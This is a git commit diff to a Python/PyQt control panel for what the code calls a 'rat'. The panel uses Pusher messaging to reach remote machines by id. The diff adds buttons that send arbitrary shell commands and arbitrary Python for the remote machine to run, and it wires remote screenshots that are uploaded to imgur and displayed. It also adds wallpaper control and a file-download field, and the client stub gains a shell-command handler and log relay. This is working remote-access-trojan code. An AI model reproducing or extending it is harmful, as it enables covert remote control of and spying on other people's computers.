python and shell commands

This commit is contained in:
BarsTiger
2022-05-27 12:36:04 +03:00
parent fe4b11c3f2
commit bbc2839eb9
4 changed files with 58 additions and 69 deletions

View File

@@ -98,13 +98,13 @@ def handle_menu_click(text: str) -> None:
"""
index = {
"Menu": [open_menu, None],
"Devices": [ui.pagesWidget.setCurrentIndex, 1],
"Screenshot": [ui.pagesWidget.setCurrentIndex, 2],
"Wallpaper": [ui.pagesWidget.setCurrentIndex, 3],
"Console": [ui.pagesWidget.setCurrentIndex, 4],
"Python": [ui.pagesWidget.setCurrentIndex, 5],
"Download": [ui.pagesWidget.setCurrentIndex, 6],
"Settings": [ui.pagesWidget.setCurrentIndex, 7]
"Devices": [ui.pagesWidget.setCurrentIndex, 0],
"Screenshot": [ui.pagesWidget.setCurrentIndex, 1],
"Wallpaper": [ui.pagesWidget.setCurrentIndex, 2],
"Console": [ui.pagesWidget.setCurrentIndex, 3],
"Python": [ui.pagesWidget.setCurrentIndex, 4],
"Download": [ui.pagesWidget.setCurrentIndex, 5],
"Settings": [ui.pagesWidget.setCurrentIndex, 6]
}
index[text][0](index[text][1])
@@ -120,6 +120,7 @@ def handle_ping(data) -> None:
def on_logs(data):
print(data)
ui.logsPytoon.append(data)
ui.logsConsole.append(data)
ui.downloadLogs.append(data)
@@ -144,17 +145,23 @@ def take_screenshot() -> None:
client.trigger('admin-' + str(client_id), 'python', f"""
imgur_image = daun.screenshot.upload_to_imgur("{Settings.get_settings().get('client_id')}")
client.trigger('client-{client_id}', 'screenshot', imgur_image)
client.trigger('client-{client_id}', 'logs', "Received screenshot: " + imgur_image)
log("Received screenshot: " + imgur_image)
""")
def on_screenshot(data):
print("on screenshot")
image = QtGui.QImage()
image.loadFromData(requests.get(data).content)
ui.screenshotLabel.setPixmap(QtGui.QPixmap(image))
def we_controller(button):
client.trigger('admin-' + str(client_id), 'python', f"""
daun.wallpaperengine.control_we("{button.text().lower()}")
log("Received we command: {button.text().lower()}")
""")
def connect_to_rat() -> None:
"""
Connects to rat based on selected id
@@ -211,11 +218,29 @@ ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentIte
ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui))))
ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher())
ui.connectButton.clicked.connect(lambda: connect_to_rat())
ui.availableDevices.itemDoubleClicked.connect(lambda: connect_to_rat())
ui.pingButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'ping', 'ping'))
ui.clearPythonLogs.clicked.connect(lambda: clear_logs())
ui.clearConsoleLogs.clicked.connect(lambda: clear_logs())
ui.clearDlLogsButton.clicked.connect(lambda: clear_logs())
ui.takeScreenshotButton.clicked.connect(lambda: take_screenshot())
ui.setWallpaperButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f"""
daun.wallpaper.set_wallpaper("{ui.wallpaperUrlBox.text()}")
log("Wallpaper set to: {ui.wallpaperUrlBox.text()}")
"""))
ui.pauseWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.pauseWallpaperEngineButton))
ui.playWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.playWallpaperEngineButton))
ui.stopWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.stopWallpaperEngineButton))
ui.muteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.muteWallpaperEngineButton))
ui.unmuteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.unmuteWallpaperEngineButton))
ui.wallpaperScreenshotButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f"""
daun.wallpaper.set_wallpaper(daun.screenshot.save_screenshot())
log("Screenshot set as wallpaper")
"""))
ui.sendCommandButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'command',
ui.commandBox.text()))
ui.execPythonButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'python',
ui.pythonScriptEditor.toPlainText()))
# Handling closing of the window to exit whole program
sys.exit(app.exec_())

View File

@@ -381,22 +381,6 @@ class Ui_MainWindow(object):
sizePolicy.setHeightForWidth(self.pagesWidget.sizePolicy().hasHeightForWidth())
self.pagesWidget.setSizePolicy(sizePolicy)
self.pagesWidget.setObjectName("pagesWidget")
self.startPage = QtWidgets.QWidget()
self.startPage.setObjectName("startPage")
self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.startPage)
self.verticalLayout_6.setContentsMargins(0, 0, 0, 0)
self.verticalLayout_6.setSpacing(0)
self.verticalLayout_6.setObjectName("verticalLayout_6")
self.dLogo = QtWidgets.QLabel(self.startPage)
self.dLogo.setStyleSheet("font: 166pt \"Comic Sans MS\";\n"
"color: rgb(40, 40, 40);")
self.dLogo.setObjectName("dLogo")
self.verticalLayout_6.addWidget(self.dLogo, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
self.choosePanelLabel = QtWidgets.QLabel(self.startPage)
self.choosePanelLabel.setStyleSheet("color: rgb(70, 70, 70);")
self.choosePanelLabel.setObjectName("choosePanelLabel")
self.verticalLayout_6.addWidget(self.choosePanelLabel, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
self.pagesWidget.addWidget(self.startPage)
self.devicesPage = QtWidgets.QWidget()
self.devicesPage.setObjectName("devicesPage")
self.devicesButtonLayout = QtWidgets.QVBoxLayout(self.devicesPage)
@@ -576,6 +560,10 @@ class Ui_MainWindow(object):
self.downloadUrl.setMinimumSize(QtCore.QSize(0, 30))
self.downloadUrl.setObjectName("downloadUrl")
self.verticalLayout_10.addWidget(self.downloadUrl, 0, QtCore.Qt.AlignTop)
self.pathToFileDownload = QtWidgets.QLineEdit(self.downloadFilePage)
self.pathToFileDownload.setMinimumSize(QtCore.QSize(0, 30))
self.pathToFileDownload.setObjectName("pathToFileDownload")
self.verticalLayout_10.addWidget(self.pathToFileDownload)
self.downloadButton = QtWidgets.QPushButton(self.downloadFilePage)
self.downloadButton.setMinimumSize(QtCore.QSize(0, 30))
self.downloadButton.setObjectName("downloadButton")
@@ -660,7 +648,7 @@ class Ui_MainWindow(object):
self.saveSettingsButton.setObjectName("saveSettingsButton")
self.gridLayout.addWidget(self.saveSettingsButton, 1, 0, 1, 1)
self.pagesWidget.addWidget(self.settingsPage)
self.horizontalLayout.addWidget(self.pagesWidget, 0, QtCore.Qt.AlignTop)
self.horizontalLayout.addWidget(self.pagesWidget)
MainWindow.setCentralWidget(self.centralwidget)
self.retranslateUi(MainWindow)
@@ -691,8 +679,6 @@ class Ui_MainWindow(object):
item = self.leftMenu.item(7)
item.setText(_translate("MainWindow", "Settings"))
self.leftMenu.setSortingEnabled(__sortingEnabled)
self.dLogo.setText(_translate("MainWindow", "D"))
self.choosePanelLabel.setText(_translate("MainWindow", "Choose panel in left side, scroll menu to see more"))
self.connectButton.setText(_translate("MainWindow", "Connect"))
self.pingButton.setText(_translate("MainWindow", "Ping"))
self.reconRefreshButton.setText(_translate("MainWindow", "Reconnect and refresh"))
@@ -714,6 +700,7 @@ class Ui_MainWindow(object):
self.execPythonButton.setText(_translate("MainWindow", "Execute"))
self.clearPythonLogs.setText(_translate("MainWindow", "Clear logs"))
self.downloadUrl.setPlaceholderText(_translate("MainWindow", "File url"))
self.pathToFileDownload.setPlaceholderText(_translate("MainWindow", "Output file path"))
self.downloadButton.setText(_translate("MainWindow", "Download"))
self.downloadLogs.setHtml(_translate("MainWindow", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"

View File

@@ -474,7 +474,7 @@ QListWidget:item:selected {
</item>
</widget>
</item>
<item alignment="Qt::AlignTop">
<item>
<widget class="QStackedWidget" name="pagesWidget">
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
@@ -485,46 +485,6 @@ QListWidget:item:selected {
<property name="currentIndex">
<number>0</number>
</property>
<widget class="QWidget" name="startPage">
<layout class="QVBoxLayout" name="verticalLayout_6">
<property name="spacing">
<number>0</number>
</property>
<property name="leftMargin">
<number>0</number>
</property>
<property name="topMargin">
<number>0</number>
</property>
<property name="rightMargin">
<number>0</number>
</property>
<property name="bottomMargin">
<number>0</number>
</property>
<item alignment="Qt::AlignHCenter|Qt::AlignVCenter">
<widget class="QLabel" name="dLogo">
<property name="styleSheet">
<string notr="true">font: 166pt &quot;Comic Sans MS&quot;;
color: rgb(40, 40, 40);</string>
</property>
<property name="text">
<string>D</string>
</property>
</widget>
</item>
<item alignment="Qt::AlignHCenter|Qt::AlignVCenter">
<widget class="QLabel" name="choosePanelLabel">
<property name="styleSheet">
<string notr="true">color: rgb(70, 70, 70);</string>
</property>
<property name="text">
<string>Choose panel in left side, scroll menu to see more</string>
</property>
</widget>
</item>
</layout>
</widget>
<widget class="QWidget" name="devicesPage">
<layout class="QVBoxLayout" name="devicesButtonLayout">
<item>
@@ -951,6 +911,19 @@ color: rgb(40, 40, 40);</string>
</property>
</widget>
</item>
<item>
<widget class="QLineEdit" name="pathToFileDownload">
<property name="minimumSize">
<size>
<width>0</width>
<height>30</height>
</size>
</property>
<property name="placeholderText">
<string>Output file path</string>
</property>
</widget>
</item>
<item alignment="Qt::AlignTop">
<widget class="QPushButton" name="downloadButton">
<property name="minimumSize">

View File

@@ -26,6 +26,10 @@ client = pusher.Pusher(
receiver = pysher.Pusher(key=key, cluster=cluster)
def log(message):
client.trigger(f'client-{client_id}', 'logs', message)
def on_command(data):
global client_id
print("Shell command received")